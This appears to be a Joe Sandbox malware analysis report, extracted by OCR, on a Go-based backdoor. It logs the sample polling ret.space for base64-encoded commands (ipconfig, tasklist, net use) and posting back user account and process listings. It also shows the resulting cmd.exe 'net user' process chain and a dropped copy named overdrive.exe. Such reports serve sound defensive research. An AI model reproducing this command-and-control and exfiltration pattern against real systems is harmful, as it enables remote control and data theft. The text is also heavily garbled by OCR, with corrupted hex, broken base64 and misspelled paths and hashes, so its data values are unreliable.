IN (0x0001)

IN (0x0001)

IN (0x0001)
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kBytes

Timestamp transferred

Sep 28, 2021 7295

22:07:42.813332081 CEST

Sep 28, 2021 7295

22:07:42.948390007 CEST

Session ID Source IP

1 192.168.2.6
kBytes

Timestamp transferred

Sep 28, 2021 7325

22:08:43.101277113 CEST

Sep 28, 2021 7325

22:08:43.224301100 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49814

Direction

ouT

Data

POST /result HTTP/1.1

Host: ret.space

User-Agent: Go-http-client/1.1

Content-Length: 417

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

Data Raw: 69 64 3d 62 6d 56 30 49 48 56 7a 5a 51 25 33 44 25 33 44 26 72 65 73 75 6¢ 74 3d 44 51 70 56 63 32 56 79 49
47 46 6a 59 32 39 31 62 6e 52 7a 49 47 5a 76 63 69 42 63 58 45 52 46 55 30 74 55 54 31 41 74 4e 7a 45 32 56 44 63 33
4d 51 30 4b 44 51 6f 74 4¢ 53 30 74 4¢ 53 30 74 4¢ 53 30 74 4c 53 30 74 4¢c 53 30 74 4c 53 30 74 4¢c 53 30 74 4¢ 53 30 74
4c 53 30 74 4¢ 53 30 74 4c 53 30 74 4c¢ 53 30 74 4¢c 53 30 74 4¢ 53 30 74 4c 53 30 74 4c 53 30 74 4¢ 53 30 74 4c 53 30
74 4¢ 53 30 74 4¢ 53 30 74 4¢ 53 30 74 4c 53 30 74 4c¢ 53 30 74 4¢c 53 30 74 4¢ 53 30 74 4c 53 30 74 44 51 70 42 5a 47 3
17062 6d 6¢ 7a 64 48 4a 68 64 47 39 79 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 52 47 56 6d 59 58 56 73 64
45 46 6a 59 32 39 31 62 6e 51 67 49 43 41 67 49 43 41 67 49 43 41 67 49 47 56 75 5a 32 6¢ 75 5a 57 56 79 49 43 41 67
49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 4e 43 6b 64 31 5a 58 4e 30 49 43 41 67 49 43 41 67 49 43 41
67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 42 58 52 45 46 48 56 58 52 70 62 47 6¢ 30 65 55 46 6a 59 32 39 31 62 6e
51 67 49 43 41 67 49 43 41 67 44 51 70 55 61 47 55 67 59 32 39 74 62 57 46 75 5a 43 42 6a 62 32 31 77 62 47 56 30 5a
57 51 67 63 33 56 6a 59 32 56 7a 63 32 5a 31 62 47 78 35 4c 67 30 4b 44 51 6f 25 33 44

Data Ascii: id=bmVO0IHVzZQ%3D%3D&result=DQpVc2VyIGFjY291bnRzIGZvciBcXERFUOtUT1AtNzE2VDc3MQO
KDQOotLSOtLSOtLSOtLSOtLSOtLSOtLSOtL SOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtL SOtLSOtLSOtLSOtLSOtLSOtLSOtLSOtLSO
tLSOtLSO0tDQpBZG1pbmizdHIhdG9yICAGICAgICAGICAGRGVmY XVsdEFjY291bnQgICAgICAgICAgIGVUZ2IuZWVyl
CAgICAgICAgICAgICAgICANCKd1ZXNOICAgICAgGICAgICAgGICAGICAGICBXREFHVXRpbGIOeUFjY291bnQgICAgICA
gDQpUaGUgY29tbWFuZCBjb21whGV0ZWQgc3VjY2Vzc2Z1bGx5Lg0KDQ0%3D

HTTP/1.1 200 OK

Date: Tue, 28 Sep 2021 20:07:42 GMT
Content-Length: 12

Content-Type: text/plain; charset=utf-8

Data Raw: 61 58 42 6a 62 32 35 6d 61 57 63 3d
Data Ascii: aXBjb25maWc=

Destination IP Destination Port Process

172.105.155.183 80 C:\Users\user\Desktop\jveMPyQ76c.exe

Data

GET /command?id=bmVO0IHVzZQ%3D%3D HTTP/1.1
Host: ret.space

User-Agent: Go-http-client/1.1

Accept-Encoding: gzip

HTTP/1.1 200 OK

Date: Tue, 28 Sep 2021 20:08:43 GMT
Content-Length: 12

Content-Type: text/plain; charset=utf-8

Data Raw: 64 47 46 7a 61 32 78 70 63 33 51 3d

Data Ascii: dGFza2xpc3Q=
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kBytes

Timestamp transferred Direction Data
Sep 28, 2021 7330 ouT POST /result HTTP/1.1
22:08:43.581401110 CEST Host: ret.space

User-Agent: Go-http-client/1.1

Content-Length: 11993

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

Data Raw: 69 64 3d 62 6d 56 30 49 48 56 7a 5a 51 25 33 44 25 33 44 26 72 65 73 75 6¢ 74 3d 44 51 70 4a 62 57 46 6e 5a
5342 4f 59 57 31 6¢ 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 55 45 6¢ 45
49 46 4e 6¢ 63 33 4e 70 62 32 34 67 54 6d 46 74 5a 53 41 67 49 43 41 67 49 43 41 67 55 32 56 7a 63 32 6¢ 76 62 69 4d
67 49 43 41 67 54 57 56 74 49 46 56 7a 59 57 64 6¢ 44 51 6f 39 50 54 30 39 50 54 30 39 50 54 30 39 50 54 30 39 50 54 3
039 50 54 30 39 50 54 30 39 50 54 30 39 49 44 30 39 50 54 30 39 50 54 30 39 49 44 30 39 50 54 30 39 50 54 30 39 50
54 30 39 50 54 30 39 50 54 30 67 50 54 30 39 50 54 30 39 50 54 30 39 50 54 30 67 50 54 30 39 50 54 30 39 50 54 30 39
50 54 30 39 44 51 70 54 65 58 4e 30 5a 57 30 67 53 57 52 73 5a 53 42 51 63 6d 39 6a 5a 58 4e 7a 49 43 41 67 49 43 41
67 49 43 41 67 49 43 41 67 49 43 41 77 49 46 4e 6¢ 63 6e 5a 70 59 32 56 7a 49 43 41 67 49 43 41 67 49 43 41 67 49 43
41 67 49 43 41 67 49 43 41 67 49 44 41 67 49 43 41 67 49 43 41 67 49 43 41 67 4f 43 42 4¢c 44 51 70 54 65 58 4e 30 5a
57 30 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 30
49 46 4e 6¢ 63 6e 5a 70 59 32 56 7a 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 41
67 49 43 41 67 49 43 41 67 49 44 45 32 4f 43 42 4c 44 51 70 53 5a 57 64 70 63 33 52 79 65 53 41 67 49 43 41 67 49 43
41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 67 34 49 46 4e 6¢ 63 6e 5a 70 59 32 56 7a 49
43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 41 67 49 43 41 67 49 44 45 31 4c 44 63 34
4e 43 42 4¢c 44 51 70 7a 62 58 4e 7a 4c 6d 56 34 5a 53 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41
67 49 43 41 67 49 43 41 67 4d 6a 6b 32 49 46 4e 6¢ 63 6e 5a 70 59 32 56 7a 49 43 41 67 49 43 41 67 49 43 41 67 49 43
41 67 49 43 41 67 49 43 41 67 49 44 41 67 49 43 41 67 49 43 41 78 4c 44 45 32 4e 43 42 4¢c 44 51 70 6a 63 33 4a 7a 63
79 35 6¢ 65 47 55 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 4d 7a 67 34
49 46 4e 6¢ 63 6e 5a 70 59 32 56 7a 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 41
67 49 43 41 67 49 43 41 30 4c 44 63 32 4d 43 42 4c 44 51 70 33 61 57 35 70 62 6d 6¢ 30 4c 6d 56 34 5a 53 41 67 49 43
41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 4e 44 59 34 49 46 4e 6¢ 63 6e 5a 70 59 32 56 7a 49
4341 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 41 67 49 43 41 67494341 324c 445177
4d 4342 4c 44 51 70 6a 63 33 4a 7a 63 79 35 6¢ 65 47 55 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41
67 49 43 41 67 49 43 41 67 4e 44 67 77 49 45 4e 76 62 6e 4e 76 62 47 55 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43
41 67 49 43 41 67 49 43 41 67 49 44 45 67 49 43 41 67 49 43 41 30 4c 44 67 32 4f 43 42 4¢ 4451 70 7a 5a 58 4a 32 61
57 4e 6¢ 63 79 35 6¢ 65 47 55 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 4e 54 59 77
49 46 4e 6¢ 63 6e 5a 70 59 32 56 7a 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 41
67 49 43 41 67 49 44 45 78 4c 44 4d 78 4d 69 42 4c 44 51 70 33 61 57 35 73 62 32 64 76 62 69 35 6¢ 65 47 55 67 49 43
41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 4e 54 59 34 49 45 4e 76 62 6e 4e 76 62 47 55 67 49
43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 45 67 49 43 41 67 49 44 45 Ta 4c 44 63 Ta
4e 6942 4c 44517073 63 3246 7a 63 79 35 6¢ 65 47 55 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41
67 49 43 41 67 49 43 41 67 4e 54 67 34 49 46 4e 6¢ 63 6e 5a 70 59 32 56 7a 49 43 41 67 49 43 41 67 49 43 41 67 49 43
41 67 49 43 41 67 49 43 41 67 49 44 41 67 49 43 41 67 49 44 45 31 4c 44 41 7a 4e 69 42 4c 44 51 70 6d 62 32 35 30 5a
48 4a 32 61 47 39 7a 64 43 35 6¢ 65 47 55 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 4e 6a 67 34
49 45 4e 76 62 6e 4e 76 62 47 55 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 44 45
67

Data Ascii: id=bmVO0IHVzZQ%3D%3D&result=DQpJbWFnZSBOYW1IICAgICAgICAgICAgICAgICAgICAgUEIEIFN
Ic3Npb24gTmFtZSAgICAgICAgU2Vzc2lvbiMgICAgTWVHIFVZYWdIDQo9PTO9PTO9PTO9PTO9PTO9PTO9PTO9PTOI!
DO9PTO9PTO9IDO9PTO9PTOIPTO9IPTOIPTOGPTO9PTO9SPTO9PTOgPTO9PTO9PTO9PTOODQpTeXNOZWOgS
WRsZSBQcm9jZXNzICAgICAgICAGICAGICAWIFNIcnZpY2VzICAgICAgICAGICAGICAGICAGIDAGICAGICAgICAGOCB
LDQpTeXNOZWO0gICAgICAgICAGICAGICAGICAgICAGICAGICAOIFNIcNZpY2VzICAgICAGICAgICAGICAGICAGIDAg!
CAgICAgIDE20CBLDQpPSZWdpc3RyeSAgICAgICAgICAGICAGICAGICAgICAGIDg4IFNIcnZpY2VzICAgICAgICAGICA
gICAgICAgIDAGICAGIDE1LDc4NCBLDQpzbXNzLmV4ZSAgICAGICAgICAGICAGICAGICAgGICAgMjK2IFNIcnZpY2Vzl
CAgICAgICAgICAgICAGICAGIDAGICAGICAXLDE2NCBLDQpjc3Jzcy5leGUgGICAgGICAgICAGICAGICAGICAGICAgMzg
4IFNIcnZpY 2VzICAgICAgICAGICAGICAGICAGIDAGICAGICAOLDc2MCBLDQp3aW5pbmIOL mV4ZSAgICAgICAGICAg!
CAgICAgICAgNDY4IFNIcnZpY2VzICAgICAGICAgICAgICAgICAGIDAGICAGICA2LDQWMCBLDQpjc3Jzcy5leGUGICA
gICAgICAgICAgICAGICAGICAgNDgwIENVbnNvbGUgICAgICAGICAGICAGICAGICAgIDEgICAgICAOLDg20CBLDQpzZ
XJ2aWNIcy5leGUgICAgICAGICAgGICAgICAGICAgNTYwIFNIcnZpY2VzICAgICAgICAgICAgICAGICAGIDAGICAGIDE
XLDMxMiBLDQp3aW5sb2dvbi5leGUgICAgICAgICAGICAGICAGICAgGNTY4IENVbnNvhGUgICAgICAGICAGICAGICAg!
CAgIDEgICAgIDEZzL DczNiBLDQpsc2Fzcy5leGUgICAGICAgGICAgICAgICAGICAGICAgNTg4IFNIcnZpY 2VzICAgICA
gICAgICAgICAgICAgIDAGICAGIDE1LDAZNIBLDQpmb250ZHJI2aG9zdC5leGUgICAgICAgICAGICAGICAgNjg4IENVD
nNvbGUgICAgICAgICAgICAgICAgICAGIDEgGICAGICAOLDISNIBLDQpmb250ZHJ2aG9zdC5leGUgGICAGICAGICAGICA
gICAgNjk2IFNIcnZpY2VzICAgICAGICAGICAgICAgICAGIDAGICAGICAZLDY 5MiBLDQpzdmNob3NOLmMV4ZSAgICAg!
CAgICAgICAgICAgICAgNZE2IFNIcnZpY2VzICAgICAgICAgICAgICAGICAGIDAGICAGICAZLDc4OCBLDQpzdmNob3N
OLmMV4ZSAgICAgICAGICAGICAgICAgICAgNzKyIFNIcnZpY2VzICAgICAGICAGICAgICAgICAgIDAGICAGIDIZLDMIN
iBLDQpzdmNob3NOLmV4ZSAgICAgICAgICAgICAGICAgICAGODQWIFNICnZpY2VzICAgICAgICAGICAGICAGICAGIDA
gICAgIDEXLDE4MCBLDQpzdmNob3NOLmMV4ZSAgICAgICAgICAgICAgICAgICAgODKyIFNIcnZpY2VzICAgICAGICAg!
CAgICAgICAgIDAGICAGICA3LDYxMiBLDQpkd20uzXhlICAgICAgICAgICAGICAGICAGICAGICAGOTYWIENVbnNvbGU
gICAgICAgICAgICAgICAGICAgIDEgICAGIDY3LDYOMCBLDQpzdmNob3NOLmMV4ZSAgICAgICAgICAgICAQICAgICAgM
zMyIFNIcnZpY2VzICAgICAgICAgICAGICAGICAgIDAGICAGICA3LDIYNCBLDQpzdmNob3NOLMV4ZSAgICAgICAGICA
gICAgICAgICAgMzQOIFNIcnZpY2VzICAgICAgICAgICAgGICAgICAGIDAGICAGIDE4ALDA2MCBLDQpzdmNob3NOLmV4Z
SAgICAgICAgICAgICAgICAgICAgMzeylFNIcnZpY2VzICAgICAgICAGICAgICAGICAgIDAGICAgICA2LDkyMCBLDQp
zdmNob3NOLmMV4ZSAgICAgICAgICAgICAGICAgICAgOTM2IFNIcnZpY2VzICAgICAgICAgICAgICAgICAGIDAgICAg!
DE1LDMOMCBLDQpzdmNob3NOLmV4ZSAgICAgICAgICAgICAgICAgICAXMDYwIFNIcnZpY2VzICAgICAgICAGICAGICA
gICAgIDAgICAgIDEXLDA1MiBLDQpzdmNob3NOLMV4ZSAgICAGICAgICAGICAGICAGICAXMTI4IFNICnZpY2VzICAg!
CAgICAgICAgICAgICAgIDAgGICAgIDEWLDAZMIBLDQpzdmNob3NOLMV4ZSAgICAgICAGICAgGICAGICAGICAXMAWIFN
lenZpY2VzICAgICAgICAgICAGICAGICAGIDAGICAGICA4LDkwMCBLDQpzdmNob3NOLmMV4ZSAgICAgICAgICAgICAg!
CAgICAXMjQ4IFNIcnZpY 2VzICAgICAGICAGICAgICAgICAGIDAGICAGIDEALDYWOCBLDQpzdmNob3NOLMV4ZSAgICA
gICAgICAgICAgICAgICAXMzAWIFNIcnZpY2VzICAgICAgICAgICAgGICAgICAgIDAGICAgGICA3LDQXNIBLDQpzdmNob
3NOLMV4ZSAgICAgICAgICAGICAGICAGICAXMzMyIFNIcnZpY2VzICAgICAGICAGICAgICAQICAGIDAGICAGICALLDY
5MiBLDQpzdmNob3NOLmV4ZSAgICAgICAgICAgICAQICAgICAxMzkylFNIcnZpY2VzICAgICAgICAgICAgICAgICAg!
DAgICAgIDEXLDQxMiBLDQpNZW1vcnkgQ29tcHJIc3Npb24gICAgICAgICAgICAXNDAWIFNIcnZpY2VzICAgICAgICA
gICAgICAgICAgIDAgICAGICAGICAgNCBLDQpzdmNob3NOLmMV4ZSAgICAgICAgICAGICAgICAgICAXNDQwWIFNIcnZpY
2VzICAgICAgICAgICAgICAgICAgIDAGICAGICA3LDY2MCBLDQpzdmNob3NOLmV4ZSAgICAgICAgICAgICAgICAgGICA
XNDg4IFNIcnZpY2VzICAgICAgICAgICAgICAgICAQIDAGICAgICA3LDM2NCBLDQpzdmNob3NOLMV4ZSAgICAgICAg!
CAgICAgICAgICAXNDK2IFNIcnZpY2VzICAgICAgICAgICAgICAgICAGIDAgICAgGICA3LDQ4O0OCBLDQpzdmNob3NOLmMV
4ZSAgICAgICAgICAgICAGICAGICAXNTI4IFNIcnZpY2VzICAgICAgICAgICAGICAGICAGIDAGICAGICA2LDkzNIBLD
QpzdmNob3NOLmMV4ZSAgICAgICAgICAgICAgICAgICAXNTg4IFNIcnZpY2VzICAgICAgICAgICAgICAGICAGIDAGICA
gIDEXLDQ4NCBLDQpzdmNob3NOLmMV4ZSAgICAgICAgICAgICAgICAGICAXN]jYwWIFNIcnZpY2VzICAgICAgICAgICAgI
CAgICAgIDAGICAGICA4LDASNIBLDQpzdmNob3NOLmMV4ZSAgICAgICAgICAGICAGICAGICAXN;Y4IFNI
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kBytes
Timestamp transferred

Sep 28, 2021 7338

22:08:43.704927921 CEST

Code Manipulations

Statistics

Behavior

Direction

IN

\E' Click to jump to process

System Behavior

Data

HTTP/1.1 200 OK

Date: Tue, 28 Sep 2021 20:08:43 GMT
Content-Length: 12

Content-Type: text/plain; charset=utf-8

Data Raw: 62 6d 56 30 49 48 56 7a 5a 51 3d 3d
Data Ascii: bmVOIHVzZQ==

Analysis Process: jvcMPyQ76c.exe PID: 6548 Parent PID: 5300

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Written

File Read

Registry Activities

Key Value Created

22:06:32

28/09/2021
C:\Users\user\Desktop\jveMPyQ76c.exe
false
‘C:\Users\user\Desktop\jveMPyQ76c.exe’
0x400000

1419872 bytes
DBC056B39057F701A967102B2EC2083E
true

true

C, C++ or other language

low

Show Windows behavior

Show Windows behavior

Analysis Process: conhost.exe PID: 6592 Parent PID: 6548
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

22:06:33

28/09/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff61de10000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: overdrive.exe PID: 7056 Parent PID: 3440
General
Start time: 22:06:49
Start date: 28/09/2021
Path: C:\Users\usen\AppData\Local\Temp\overdrive.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false
‘C:\Users\user\AppData\Local\Temp\overdrive.exe'
0x400000

1419872 bytes
DBC056B39057F701A967102B2EC2083E

true

true

C, C++ or other language

Reputation: low
File Activities Show Windows behavior
Analysis Process: conhost.exe PID: 7080 Parent PID: 7056

General

Start time: 22:06:49

Start date: 28/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

Imagebase: 0x7ff61de10000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges:
Has administrator privileges:

Programmed in:

true
true

C, C++ or other language

Reputation: high
Analysis Process: cmd.exe PID: 1012 Parent PID: 6548

General

Start time: 22:07:39
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Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

28/09/2021
C:\Windows\System32\cmd.exe

false

C:\Windows\system32\cmd.exe /c 'net user'
0x7ff7180e0000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: net.exe PID: 3500 Parent PID: 1012

General

Start time: 22:07:40

Start date: 28/09/2021

Path: C:\Windows\System32\net.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

net user

0x7ff647f70000

56832 bytes
15534275EDAABC58159DDOF8607A71E5
true

true

C, C++ or other language

Reputation: moderate
File Activities Show Windows behavior
Analysis Process: netl.exe PID: 5640 Parent PID: 3500

General

Start time: 22:07:41

Start date: 28/09/2021

Path: C:\Windows\System32\netl.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Disassembly

Code Analysis

Copyright Joe Security LLC 2021

false

C:\Windows\system32\netl user
0x7ff687500000

175104 bytes
AF569DE92AB6C1BIC681AF1E799F9983
true

true

C, C++ or other language

moderate

Show Windows behavior
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